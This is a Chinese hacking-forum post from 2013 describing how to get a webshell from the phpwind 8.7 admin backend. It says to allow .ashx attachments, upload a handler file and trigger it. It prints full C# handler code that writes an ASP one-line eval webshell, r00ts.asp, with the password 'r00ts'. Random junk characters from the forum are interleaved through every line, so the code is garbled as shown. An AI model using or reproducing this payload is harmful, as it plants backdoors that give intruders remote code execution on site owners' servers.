找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2383|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
& w, I5 }0 \( q5 D/ N . s* v6 w1 I, m$ [3 I3 g$ n
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
  F9 H# U1 ?! g; z7 `
% v* F  M& C- @3 k/ d4 @1 I- ]/ d5 Z发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
, G. r9 p3 n: S* v 0 m. z( I3 M. e4 L7 I2 x
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx8 \. \: a* y) d- b3 a; N

  J/ e* Q2 U0 M+ {打开之后空白 会在目录底下生成r00ts.asp 密码r00ts& s0 o- w* t( N+ @! j
8 e) O% C- U) e1 E; B, ^, J
下面是代码:
3 Q9 {& J1 y' a- { & a5 L. k% N9 o
<%@ WebHandler Language="C#"Class="Handler" %>! {" {: i3 W5 S% B
using System;9 R. s/ C. h. b5 }: ^6 W
using System.Web;
, y& c: I6 O  f$ Zusing System.IO;
* p1 L8 l4 I8 epublic class Handler : IHttpHandler {5 O4 t' O9 r* |" X& h7 ]; h$ _4 o
public void ProcessRequest (HttpContext context) {* e' {, ~( F4 D' N
context.Response.ContentType = "text/plain";/ {3 s- t5 _' ~+ K5 [9 x( q
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));9 O2 J% n* |7 d
file1.Write("<%eval request(\"r00ts\")%>");
# ?3 I9 a9 G+ d2 c8 t7 G; P# ~file1.Flush();
  c, F- i% ?3 R8 U# Ifile1.Close();
) q" t- g# ~. I- s8 x5 g' _) E}
( n+ k4 M# k# T( Zpublic bool IsReusable {9 a" [  |& D6 x2 {
get {2 z& C$ r, \% G' e' t! i. z
return false;
5 n- d8 n% W+ _5 @}9 N# e3 M+ f( R( o  G2 V2 s
}2 \9 O5 b, f6 f' f2 b
}
0 N1 u9 {) T/ _$ [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表